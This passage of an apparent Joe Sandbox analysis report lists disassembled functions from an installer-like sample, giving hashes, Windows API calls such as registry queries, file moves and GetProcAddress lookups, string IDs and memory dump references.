                                                                                          • Opcode ID: 3689ec14d1edae2f57f0a744906126f7255bff4f1947e1d6bbead030c2853570
                                                                                          • Instruction ID: a6ca84080c04e90ac639e3db27cd2c1e4b46fe4ea5f20cae781d9f83c3d7e460
                                                                                          • Opcode Fuzzy Hash: 3689ec14d1edae2f57f0a744906126f7255bff4f1947e1d6bbead030c2853570
                                                                                          • Instruction Fuzzy Hash: 1011E770248240AFD710AB69AC85B5FBBD89B54319F15407AFA849B383D7798C18C7AE
                                                                                          APIs
                                                                                            • Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC
                                                                                          • GetFocus.USER32 ref: 00478757
                                                                                          • GetKeyState.USER32(0000007A), ref: 00478769
                                                                                          • WaitMessage.USER32(?,00000000,00478790,?,00000000,004787B7,?,?,00000001,00000000,?,?,?,00480402,00000000,004812C8), ref: 00478773
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FocusMessageStateTextWaitWindow
                                                                                          • String ID: Wnd=$%x
                                                                                          • API String ID: 1381870634-2927251529
                                                                                          • Opcode ID: c0ca7a1e78f0957e158d44939737d51478939e9ac1b0c689120181bc9166dade
                                                                                          • Instruction ID: f17a5035e7dee30901ec9a03c3a5a372f1d0714b29ccd98a4f066b2945bd060b
                                                                                          • Opcode Fuzzy Hash: c0ca7a1e78f0957e158d44939737d51478939e9ac1b0c689120181bc9166dade
                                                                                          • Instruction Fuzzy Hash: CE11C634A40244AFD704EF65DC49A9EBBF8EB49314F6184BFF409E7681DB386D00CA69
                                                                                          APIs
                                                                                          • FileTimeToLocalFileTime.KERNEL32(?), ref: 0046E618
                                                                                          • FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046E627
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Time$File$LocalSystem
                                                                                          • String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
                                                                                          • API String ID: 1748579591-1013271723
                                                                                          • Opcode ID: 93d3f9926fe1e9ec47fc0153e923e0389e011619b8f85a7a05f57e02ab74589b
                                                                                          • Instruction ID: 5dd65cae4c1adac9d47cc9ad6336eda1851498fedff4a8a979bd050f9c4a6815
                                                                                          • Opcode Fuzzy Hash: 93d3f9926fe1e9ec47fc0153e923e0389e011619b8f85a7a05f57e02ab74589b
                                                                                          • Instruction Fuzzy Hash: A81136A440C3909ED340DF2AC04432BBAE4AB99704F44892EF8C8C6381E779C848DBB7
                                                                                          APIs
                                                                                          • SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00453F83
                                                                                            • Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,004986F1,00000000,00498746,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B
                                                                                          • MoveFileA.KERNEL32(00000000,00000000), ref: 00453FA8
                                                                                            • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004983A5,00000000), ref: 0045349F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: File$AttributesDeleteErrorLastMove
                                                                                          • String ID: DeleteFile$MoveFile
                                                                                          • API String ID: 3024442154-139070271
                                                                                          • Opcode ID: ad4ba0b838e9d5317ad6887f6d8cb75152b6b17696a4ed4ee46c007163692804
                                                                                          • Instruction ID: b5871bee3d194af1fa843ac656f6d820fc0ba16d57580c91db5694710367c43f
                                                                                          • Opcode Fuzzy Hash: ad4ba0b838e9d5317ad6887f6d8cb75152b6b17696a4ed4ee46c007163692804
                                                                                          • Instruction Fuzzy Hash: AEF062716142045BD701FBA2D84266EA7ECDB8435EF60443BB900BB6C3DA3C9E094529
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004594A1,00000000,00459659,?,00000000,00000000,00000000), ref: 004593B1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
                                                                                          • API String ID: 47109696-2631785700
                                                                                          • Opcode ID: be4fb59b900ee74e718d87cdc4fcd1eef43a9c564c0a5ec1af3f625bb6e6dd39
                                                                                          • Instruction ID: 1950c6f853cc10ed35e504d9d8503a730f6ffd27dc9bba4e9fa27fab35675349
                                                                                          • Opcode Fuzzy Hash: be4fb59b900ee74e718d87cdc4fcd1eef43a9c564c0a5ec1af3f625bb6e6dd39
                                                                                          • Instruction Fuzzy Hash: 12F0AF31300110DBCB10EB9AD885B6F6299DB9931AF50503BF981DB293E73CCC168629
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00483C05
                                                                                          • RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 00483C28
                                                                                          Strings
                                                                                          • System\CurrentControlSet\Control\Windows, xrefs: 00483BD2
                                                                                          • CSDVersion, xrefs: 00483BFC
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpenQueryValue
                                                                                          • String ID: CSDVersion$System\CurrentControlSet\Control\Windows
                                                                                          • API String ID: 3677997916-1910633163
                                                                                          • Opcode ID: 33fca6af7241f4b653fe53c350a6e88c669f1de2ef3da1c7a1752152dae0c121
                                                                                          • Instruction ID: 1d850e848a14c5c59b8e95f13e5f63a8fb365af486cc5d6c9f9b701d22fca986
                                                                                          • Opcode Fuzzy Hash: 33fca6af7241f4b653fe53c350a6e88c669f1de2ef3da1c7a1752152dae0c121
                                                                                          • Instruction Fuzzy Hash: 56F03176E40208A6DF10EAD48C45BAFB3BCAB14B05F104967EA10F7280E678AB048B59
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
                                                                                          • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: GetSystemWow64DirectoryA$kernel32.dll
                                                                                          • API String ID: 1646373207-4063490227
                                                                                          • Opcode ID: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
                                                                                          • Instruction ID: 657275fb9dfacbe144619f02b172540cf2f0c5a6f4252bec6bd03a25d2dd35a2
                                                                                          • Opcode Fuzzy Hash: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
                                                                                          • Instruction Fuzzy Hash: A5E0DFE0B40B0122D70032BA1C82B6B108D4B84728F90053B3894E62D6DDBCD9840A6D
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042EAD0), ref: 0042EB62
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EB68
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: ShutdownBlockReasonDestroy$user32.dll
                                                                                          • API String ID: 1646373207-260599015
                                                                                          • Opcode ID: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
                                                                                          • Instruction ID: e1ec077e445c8734ae54db5ffdd633522f5c412f0b7fee52e54de0d29bb4c321
                                                                                          • Opcode Fuzzy Hash: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
                                                                                          • Instruction Fuzzy Hash: A2D0C793311732665D10B1F73CD1EAB058C891527935404B7F515E5641D55DEC1115AD
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498BF2), ref: 0044F77F
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: NotifyWinEvent$user32.dll
                                                                                          • API String ID: 1646373207-597752486
                                                                                          • Opcode ID: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
                                                                                          • Instruction ID: 5e946f17392c81a4f172a46fe169fb9a1f72c9003761a5edf28bd31acc2f1150
                                                                                          • Opcode Fuzzy Hash: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
                                                                                          • Instruction Fuzzy Hash: 59E012F0E417049AFF00BBB57B86B1A3A90E764719B00057FF414A6292DB7C481C4F9D
                                                                                          APIs
                                                                                          • GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00498C48,00000001,00000000,00498C6C), ref: 00498972
                                                                                          • GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00498978
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: DisableProcessWindowsGhosting$user32.dll
                                                                                          • API String ID: 1646373207-834958232
                                                                                          • Opcode ID: 71af8591fbce5d4533a7188bae6238bebf63b2f5996384562a89c67780edd1c3
                                                                                          • Instruction ID: 34f838485a85c0df890c3e192e44216071158a5cea444d63bbc0a0b2480586ef
                                                                                          • Opcode Fuzzy Hash: 71af8591fbce5d4533a7188bae6238bebf63b2f5996384562a89c67780edd1c3
                                                                                          • Instruction Fuzzy Hash: 22B002C0651707589D5032FA0D06B3F48484C5276D728057F3414A51C6DD6C89115D3F
                                                                                          APIs
                                                                                            • Part of subcall function 0044B658: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498BF2), ref: 0044B67F
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
                                                                                            • Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7
                                                                                          • LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00498C1A), ref: 00464603
                                                                                          • GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00464609
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$LibraryLoad
                                                                                          • String ID: SHPathPrepareForWriteA$shell32.dll
                                                                                          • API String ID: 2238633743-2683653824
                                                                                          • Opcode ID: edc6f8ec64a36a5908760ff58e990ea99ea877eb638915fc896b3384d426fa6b
                                                                                          • Instruction ID: ed4894befccbfeda2ad80f7d1b9e1cb4df1a551eae9986247d0c145e26b1cd95
                                                                                          • Opcode Fuzzy Hash: edc6f8ec64a36a5908760ff58e990ea99ea877eb638915fc896b3384d426fa6b
                                                                                          • Instruction Fuzzy Hash: DDB092D0A82740A4C90077F2985B90F2A4488A271EB10153B710476483EABC84100EAE
                                                                                          APIs
                                                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0047D7F0,?,?,?,?,00000000,0047D945,?,?,?,00000000,?,0047DA54), ref: 0047D7CC
                                                                                          • FindClose.KERNEL32(000000FF,0047D7F7,0047D7F0,?,?,?,?,00000000,0047D945,?,?,?,00000000,?,0047DA54,00000000), ref: 0047D7EA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Find$CloseFileNext
                                                                                          • String ID:
                                                                                          • API String ID: 2066263336-0
                                                                                          • Opcode ID: df8c12b404288ac1cc0f16a4307cfa19f630790b74cd409a531bdd723e619500
                                                                                          • Instruction ID: 2ce97de6e4eb512f8d4c2eb376340b964b0e691095a652a34be041e4083b4e02
                                                                                          • Opcode Fuzzy Hash: df8c12b404288ac1cc0f16a4307cfa19f630790b74cd409a531bdd723e619500
                                                                                          • Instruction Fuzzy Hash: 07813A74D0024D9FCF11EFA5CC91ADFBBB8EF49304F5080AAE908A7291D6399A46CF54
                                                                                          APIs
                                                                                            • Part of subcall function 0042EE30: GetTickCount.KERNEL32 ref: 0042EE36
                                                                                            • Part of subcall function 0042EC88: MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0042ECBD
                                                                                          • GetLastError.KERNEL32(00000000,00475721,?,?,0049C1E0,00000000), ref: 0047560A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CountErrorFileLastMoveTick
                                                                                          • String ID: $LoggedMsgBox returned an unexpected value. Assuming Cancel.$MoveFileEx
                                                                                          • API String ID: 2406187244-2685451598
                                                                                          • Opcode ID: b4e541c37b522712e9a51433fba2d6f7c47cca6c6c5b44fd3a0118cd85a505a9
                                                                                          • Instruction ID: cfe7f312216358cbd0971b398f0cafde252de4893b1317a5ce8d70824cf78b76
                                                                                          • Opcode Fuzzy Hash: b4e541c37b522712e9a51433fba2d6f7c47cca6c6c5b44fd3a0118cd85a505a9
                                                                                          • Instruction Fuzzy Hash: 4D418570A006099BDB10EFA5D882AEF77B5FF48314F508537E408BB395D7789A058BA9
                                                                                          APIs
                                                                                          • GetDesktopWindow.USER32 ref: 00413D46
                                                                                          • GetDesktopWindow.USER32 ref: 00413DFE
                                                                                            • Part of subcall function 00418EC0: 6F58C6F0.COMCTL32(?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EDC
                                                                                            • Part of subcall function 00418EC0: ShowCursor.USER32(00000001,?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EF9
                                                                                          • SetCursor.USER32(00000000,?,?,?,?,00413AF3,00000000,00413B06), ref: 00413E3C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CursorDesktopWindow$Show
                                                                                          • String ID:
                                                                                          • API String ID: 2074268717-0
                                                                                          • Opcode ID: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
                                                                                          • Instruction ID: d0219f8535474b9b7e790bb207accfb6dce16a9ac66decbe361331da1304c66b
                                                                                          • Opcode Fuzzy Hash: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
                                                                                          • Instruction Fuzzy Hash: 91412C75600210AFC710DF2AFA84B56B7E1EB65329B16817BE405CB365DB38DD81CF98
                                                                                          APIs
                                                                                          • GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A75
                                                                                          • LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408AE4
                                                                                          • LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408B7F
                                                                                          • MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408BBE
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: LoadString$FileMessageModuleName
                                                                                          • String ID:
                                                                                          • API String ID: 704749118-0
                                                                                          • Opcode ID: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
                                                                                          • Instruction ID: 7d65b0a5aa49ad722f3f3263bbe29e3330acee4661d9e2153cfe083702b22da2
                                                                                          • Opcode Fuzzy Hash: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
                                                                                          • Instruction Fuzzy Hash: 1F3123716083849AD370EB65C945BDF77D89B85704F40483FB6C8E72D1EB7859048B6B
                                                                                          APIs
                                                                                          • SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E90D
                                                                                            • Part of subcall function 0044CF50: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044CF82
                                                                                          • InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E991
                                                                                            • Part of subcall function 0042BBB4: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BBC8
                                                                                          • IsRectEmpty.USER32(?), ref: 0044E953
                                                                                          • ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E976
                                                                                          Memory Dump Source
